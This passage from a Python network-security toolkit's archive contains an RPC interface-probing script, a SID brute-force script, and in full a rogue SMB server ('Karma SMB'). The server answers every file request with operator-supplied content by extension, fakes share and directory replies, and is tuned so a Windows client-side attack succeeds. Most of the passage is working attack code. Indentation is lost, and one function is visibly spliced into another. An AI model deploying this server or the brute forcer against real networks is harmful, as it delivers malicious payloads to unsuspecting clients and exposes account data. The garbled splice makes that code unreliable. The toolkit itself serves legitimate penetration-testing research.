8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0
8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1
906b0ce0-c70b-1067-b317-00dd010662da v1.0
91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0
92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0
93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0
93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0
9556dc99-828c-11cf-a37e-00aa003240c7 v0.0
95958c94-a424-4055-b62b-b7f4d5c47770 v1.0
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0
98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0
99e64010-b032-11d0-97a4-00c04fd6551d v3.0
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0
9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0
9e8ee830-4459-11ce-979b-00aa005ffebe v2.0
a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0
a00c021c-2be2-11d2-b678-0000f87a8f8e v1.0
a0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0
a2d47257-12f7-4beb-8981-0ebfa935c407 v1.0
a398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0
a3b749b1-e3d0-4967-a521-124055d1c37d v1.0
a4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0
a4f1db00-ca47-1067-b31e-00dd010662da v1.0
a4f1db00-ca47-1067-b31f-00dd010662da v0.0
a4f1db00-ca47-1067-b31f-00dd010662da v0.81
aa177641-fc9b-41bd-80ff-f964a701596f v1.0
aa411582-9bdf-48fb-b42b-faa1eee33949 v1.0
aae9ac90-ce13-11cf-919e-08002be23c64 v1.0
ae33069b-a2a8-46ee-a235-ddfd339be281 v1.0
afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0
b196b284-bab4-101a-b69c-00aa00341d07 v0.0
b196b286-bab4-101a-b69c-00aa00341d07 v0.0
b58aa02e-2884-4e97-8176-4ee06d794184 v1.0
b7b31df9-d515-11d3-a11c-00105a1f515a v0.0
b97db8b2-4c63-11cf-bff6-08002be23f2f v2.0
b9e79e60-3d52-11ce-aaa1-00006901293f v0.2
bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0
c13d3372-cc20-4449-9b23-8cc8271b3885 v1.0
c33b9f46-2088-4dbc-97e3-6125f127661c v1.0
c681d488-d850-11d0-8c52-00c04fd90f7e v1.0
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0
c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0
c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0
ce1334a5-41dd-40ea-881d-64326b23effe v0.2
d049b186-814f-11d1-9a3c-00c04fc9b232 v1.1
d2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0
d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5
d3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0
d4781cd6-e5d3-44df-ad94-930efe48a887 v0.0
d6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0
d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0
d7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0
d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0
dd490425-5325-4565-b774-7e27d6c09c24 v1.0
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
e248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0
e33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0
e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0
e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
e67ab081-9844-3521-9d32-834f038001c0 v1.0
e76ea56d-453f-11cf-bfec-08002be23f2f v2.0
ea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0
eb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0
ec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0
ecec0d70-a603-11d0-96b1-00a0c91ece30 v1.0
ecec0d70-a603-11d0-96b1-00a0c91ece30 v2.0
eff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0
f309ad18-d86a-11d0-a075-00c04fb68820 v0.0
f50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0
f5cc59b4-4264-101a-8c59-08002b2f8426 v1.1
f5cc5a18-4264-101a-8c59-08002b2f8426 v56.0
f5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0
f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0
f930c514-1215-11d3-99a5-00a0c9b61b04 v1.0
fc13257d-5567-4dea-898d-c6f9c48415a0 v1.0
fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0
fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
ffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0
""".splitlines() if line)
uuid_database = set((uuidstr.upper(), ver) for uuidstr, ver in uuid_database)
# add the ones from ndrutils
k = KNOWN_UUIDS.keys()[0]
def fix_ndr_uuid(ndruuid):
assert len(ndruuid) == 18
uuid = ndruuid[:16]
maj, min = struct.unpack("BB", ndruuid[16:])
return uuid + struct.pack(" "
return 1
host = args[0]
port = int(args[1])
stringbinding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_dport(port)
dce = trans.get_dce_rpc()
dce.connect()
dce.bind(mgmt.MSRPC_UUID_MGMT)
ifids = mgmt.hinq_if_ids(dce)
uuidtups = set(
uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
for index in range(ifids['if_id_vector']['count'])
)
dce.disconnect()
probes = uuidtups | uuid_database
for tup in sorted(probes):
dce.connect()
binuuid = uuid.uuidtup_to_bin(tup)
try:
dce.bind(binuuid)
except rpcrt.DCERPCException, e:
if str(e).find('abstract_syntax_not_supported') >= 0:
listening = False
else:
raise
else:
listening = True
listed = tup in uuidtups
otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
if listed or listening:
print "%r: %s, %s" % (
tup,
"listed" if listed else "other version listed" if otherversion else "not listed",
"listening" if listening else "not listening"
)
if epm.KNOWN_PROTOCOLS.has_key(tup[0]):
print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])
else:
print "Procotol: N/A"
if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]):
print "Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])
else:
print "Provider: N/A"
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
impacket-0.9.15/examples/karmaSMB.py 0000700 0000765 0000000 00000066444 12734531507 017315 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Karma SMB
#
# Author:
# Alberto Solino (@agsolino)
# Original idea by @mubix
#
# Description:
# The idea of this script is to answer any file read request
# with a set of predefined contents based on the extension
# asked, regardless of the sharename and/or path.
# When executing this script w/o a config file the pathname
# file contents will be sent for every request.
# If a config file is specified, format should be this way:
# =
# for example:
# bat = /tmp/batchfile
# com = /tmp/comfile
# exe = /tmp/exefile
#
# The SMB2 support works with a caveat. If two different
# filenames at the same share are requested, the first
# one will work and the second one will not work if the request
# is performed right away. This seems related to the
# QUERY_DIRECTORY request, where we return the files available.
# In the first try, we return the file that was asked to open.
# In the second try, the client will NOT ask for another
# QUERY_DIRECTORY but will use the cached one. This time the new file
# is not there, so the client assumes it doesn't exist.
# After a few seconds, looks like the client cache is cleared and
# the operation works again. Further research is needed trying
# to avoid this from happening.
#
# SMB1 seems to be working fine on that scenario.
#
# ToDo:
# [ ] A lot of testing needed under different OSes.
# I'm still not sure how reliable this approach is.
# [ ] Add support for other SMB read commands. Right now just
# covering SMB_COM_NT_CREATE_ANDX
# [ ] Disable write request, now if the client tries to copy
# a file back to us, it will overwrite the files we're
# hosting. *CAREFUL!!!*
#
import sys
import os
import argparse
import logging
import ntpath
import ConfigParser
from threading import Thread
from impacket.examples import logger
from impacket import smbserver, smb, version
import impacket.smb3structs as smb2
from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
STATUS_OBJECT_PATH_NOT_FOUND
from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
getFileTime, queryPathInformation
class KarmaSMBServer(Thread):
def __init__(self, smb2Support = False):
Thread.__init__(self)
self.server = 0
self.defaultFile = None
self.extensions = {}
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','smb.log')
smbConfig.set('global','credentials_file','')
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','Logon server share')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path','')
# NETLOGON always needed
smbConfig.add_section('NETLOGON')
smbConfig.set('NETLOGON','comment','Logon server share')
smbConfig.set('NETLOGON','read only','no')
smbConfig.set('NETLOGON','share type','0')
smbConfig.set('NETLOGON','path','')
# SYSVOL always needed
smbConfig.add_section('SYSVOL')
smbConfig.set('SYSVOL','comment','')
smbConfig.set('SYSVOL','read only','no')
smbConfig.set('SYSVOL','share type','0')
smbConfig.set('SYSVOL','path','')
if smb2Support:
smbConfig.set("global", "SMB2Support", "True")
self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.server.processConfigFile()
# Unregistering some dangerous and unwanted commands
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
# And the same for SMB2
self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
# Now we have to register the MS-SRVS server. This specially important for
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
# ask for shares using MS-RAP.
self.__srvsServer = SRVSServer()
self.__srvsServer.daemon = True
self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
# 1. Let's grab the extension and map the file's contents we will deliver
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
origFileName = os.path.basename(origPathName)
_, origPathNameExtension = os.path.splitext(origPathName)
origPathNameExtension = origPathNameExtension.upper()[1:]
if self.extensions.has_key(origPathNameExtension.upper()):
targetFile = self.extensions[origPathNameExtension.upper()]
else:
targetFile = self.defaultFile
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
# 2. We call the normal findFirst2 call, but with our targetFile
searchResult, searchCount, errorCode = findFirst2(path,
targetFile,
findFirst2Parameters['InformationLevel'],
findFirst2Parameters['SearchAttributes'] )
respParameters = smb.SMBFindFirst2Response_Parameters()
endOfSearch = 1
sid = 0x80 # default SID
searchCount = 0
totalData = 0
for i in enumerate(searchResult):
#i[1].dump()
try:
# 3. And we restore the original filename requested ;)
i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
except:
pass
data = i[1].getData()
lenData = len(data)
if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
# We gotta stop here and continue on a find_next2
endOfSearch = 0
# Simple way to generate a fid
if len(connData['SIDs']) == 0:
sid = 1
else:
sid = connData['SIDs'].keys()[-1] + 1
# Store the remaining search results in the ConnData SID
connData['SIDs'][sid] = searchResult[i[0]:]
respParameters['LastNameOffset'] = totalData
break
else:
searchCount +=1
respData += data
totalData += lenData
respParameters['SID'] = sid
respParameters['EndOfSearch'] = endOfSearch
respParameters['SearchCount'] = searchCount
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
#ntCreateAndXParameters.dump()
# Let's try to avoid allowing write requests from the client back to us
# not 100% bulletproof, plus also the client might be using other SMB
# calls (e.g. SMB_COM_WRITE)
createOptions = ntCreateAndXParameters['CreateOptions']
if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SUCCESS
if errorCode == STATUS_ACCESS_DENIED:
return [respSMBCommand], None, errorCode
# 1. Let's grab the extension and map the file's contents we will deliver
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
_, origPathNameExtension = os.path.splitext(origPathName)
origPathNameExtension = origPathNameExtension.upper()[1:]
if self.extensions.has_key(origPathNameExtension.upper()):
targetFile = self.extensions[origPathNameExtension.upper()]
else:
targetFile = self.defaultFile
# 2. We change the filename in the request for our targetFile
ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
SMBCommand['Data'] = str(ntCreateAndXData)
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
# 3. We call the original call with our modified data
return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
# The trick we play here is that Windows clients first ask for the file
# and then it asks for the directory containing the file.
# It is important to answer the right questions for the attack to work
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
errorCode = 0
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = ''
try:
origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
origPathName = os.path.normpath(origPathName.replace('\\','/'))
if connData.has_key('MS15011') is False:
connData['MS15011'] = {}
smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
if connData['MS15011'].has_key(origPathName) or origPathName == '.':
# We already processed this entry, now it's asking for a directory
infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
else:
# First time asked, asking for the file
infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
except Exception, e:
#import traceback
#traceback.print_exc()
smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
if infoRecord is not None:
respParameters = smb.SMBQueryPathInformationResponse_Parameters()
respData = infoRecord
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
def smb2Read(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
connData['MS15011']['StopConnection'] = True
smbServer.setConnectionData(connId, connData)
return self.origsmb2Read(connId, smbServer, recvPacket)
def smb2Close(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
# We're closing the connection trying to flush the client's
# cache.
if connData['MS15011']['StopConnection'] is True:
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
return self.origsmb2Close(connId, smbServer, recvPacket)
def smb2Create(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
# Let's try to avoid allowing write requests from the client back to us
# not 100% bulletproof, plus also the client might be using other SMB
# calls
createOptions = ntCreateRequest['CreateOptions']
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SUCCESS
if errorCode == STATUS_ACCESS_DENIED:
return [smb2.SMB2Error()], None, errorCode
# 1. Let's grab the extension and map the file's contents we will deliver
origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
_, origPathNameExtension = os.path.splitext(origPathName)
origPathNameExtension = origPathNameExtension.upper()[1:]
# Are we being asked for a directory?
if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
if self.extensions.has_key(origPathNameExtension.upper()):
targetFile = self.extensions[origPathNameExtension.upper()]
else:
targetFile = self.defaultFile
connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
else:
targetFile = '/'
# 2. We change the filename in the request for our targetFile
try:
ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
except UnicodeDecodeError:
import sys
ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')
ntCreateRequest['NameLength'] = len(targetFile)*2
recvPacket['Data'] = str(ntCreateRequest)
# 3. We call the original call with our modified data
return self.origsmb2Create(connId, smbServer, recvPacket)
def smb2QueryDirectory(self, connId, smbServer, recvPacket):
# Windows clients with SMB2 will also perform a QueryDirectory
# expecting to get the filename asked. So we deliver it :)
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryDirectory_Response()
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
errorCode = 0xff
respSMBCommand['Buffer'] = '\x00'
errorCode = STATUS_SUCCESS
#if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
# return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
if connData['MS15011']['FindDone'] is True:
connData['MS15011']['FindDone'] = False
smbServer.setConnectionData(connId, connData)
return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
else:
origName, targetFile = connData['MS15011']['FileData']
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
infoRecord['EaSize'] = 0
infoRecord['EndOfFile'] = size
infoRecord['AllocationSize'] = size
infoRecord['CreationTime'] = getFileTime(ctime)
infoRecord['LastAccessTime'] = getFileTime(atime)
infoRecord['LastWriteTime'] = getFileTime(mtime)
infoRecord['LastChangeTime'] = getFileTime(mtime)
infoRecord['ShortName'] = '\x00'*24
#infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le')
infoRecord['FileName'] = origName.encode('utf-16le')
padLen = (8-(len(infoRecord) % 8)) % 8
infoRecord['NextEntryOffset'] = 0
respSMBCommand['OutputBufferOffset'] = 0x48
respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
connData['MS15011']['FindDone'] = True
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def smb2TreeConnect(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respPacket = smb2.SMB2Packet()
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = recvPacket['Command']
respPacket['SessionID'] = connData['Uid']
respPacket['Reserved'] = recvPacket['Reserved']
respPacket['MessageID'] = recvPacket['MessageID']
respPacket['TreeID'] = recvPacket['TreeID']
respSMBCommand = smb2.SMB2TreeConnect_Response()
treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
errorCode = STATUS_SUCCESS
## Process here the request, does the share exist?
path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
UNCOrShare = path.decode('utf-16le')
# Is this a UNC?
if ntpath.ismount(UNCOrShare):
path = UNCOrShare.split('\\')[3]
else:
path = ntpath.basename(UNCOrShare)
# We won't search for the share.. all of them exist :P
#share = searchShare(connId, path.upper(), smbServer)
connData['MS15011'] = {}
connData['MS15011']['FindDone'] = False
connData['MS15011']['StopConnection'] = False
share = {}
if share is not None:
# Simple way to generate a Tid
if len(connData['ConnectedShares']) == 0:
tid = 1
else:
tid = connData['ConnectedShares'].keys()[-1] + 1
connData['ConnectedShares'][tid] = share
connData['ConnectedShares'][tid]['path'] = '/'
connData['ConnectedShares'][tid]['shareName'] = path
respPacket['TreeID'] = tid
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
else:
smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
errorCode = STATUS_OBJECT_PATH_NOT_FOUND
respPacket['Status'] = errorCode
##
if path == 'IPC$':
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
respSMBCommand['ShareFlags'] = 0x30
else:
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
respSMBCommand['ShareFlags'] = 0x0
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaximalAccess'] = 0x011f01ff
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], errorCode
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
resp = smb.NewSMBPacket()
resp['Flags1'] = smb.SMB.FLAGS1_REPLY
resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Pid'] = connData['Pid']
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
respData = smb.SMBTreeConnectAndXResponse_Data()
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
if treeConnectAndXParameters['Flags'] & 0x8:
respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
errorCode = STATUS_SUCCESS
UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
# Is this a UNC?
if ntpath.ismount(UNCOrShare):
path = UNCOrShare.split('\\')[3]
else:
path = ntpath.basename(UNCOrShare)
# We won't search for the share.. all of them exist :P
smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
#share = searchShare(connId, path, smbServer)
share = {}
# Simple way to generate a Tid
if len(connData['ConnectedShares']) == 0:
tid = 1
else:
tid = connData['ConnectedShares'].keys()[-1] + 1
connData['ConnectedShares'][tid] = share
connData['ConnectedShares'][tid]['path'] = '/'
connData['ConnectedShares'][tid]['shareName'] = path
resp['Tid'] = tid
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
if path == 'IPC$':
respData['Service'] = 'IPC'
else:
respData['Service'] = path
respData['PadLen'] = 0
respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp['Uid'] = connData['Uid']
resp.addCommand(respSMBCommand)
smbServer.setConnectionData(connId, connData)
return None, [resp], errorCode
def _start(self):
self.server.serve_forever()
def run(self):
logging.info("Setting up SMB Server")
self._start()
def setDefaultFile(self, filename):
self.defaultFile = filename
def setExtensionsConfig(self, filename):
for line in filename.readlines():
line = line.strip('\r\n ')
if line.startswith('#') is not True and len(line) > 0:
extension, pathName = line.split('=')
self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will return the pathname contents")
parser.add_argument("--help", action="help", help='show this help message and exit')
parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB clients")
parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map extensions to files to deliver. For those extensions not present, pathname will be delivered')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
s = KarmaSMBServer(options.smb2support)
s.setDefaultFile(os.path.normpath(options.fileName))
if options.config is not None:
s.setExtensionsConfig(options.config)
s.start()
logging.info("Servers started, waiting for connections")
while True:
try:
sys.stdin.read()
except KeyboardInterrupt:
sys.exit(1)
else:
pass
impacket-0.9.15/examples/lookupsid.py 0000700 0000765 0000000 00000014423 12734531507 017657 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2012-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# DCE/RPC lookup sid brute forcer example
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC [MS-LSAT]
import sys
import logging
import argparse
import codecs
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import DCERPCException
class LSALookupSid:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445),
'135/TCP': (r'ncacn_ip_tcp:%s', 135),
}
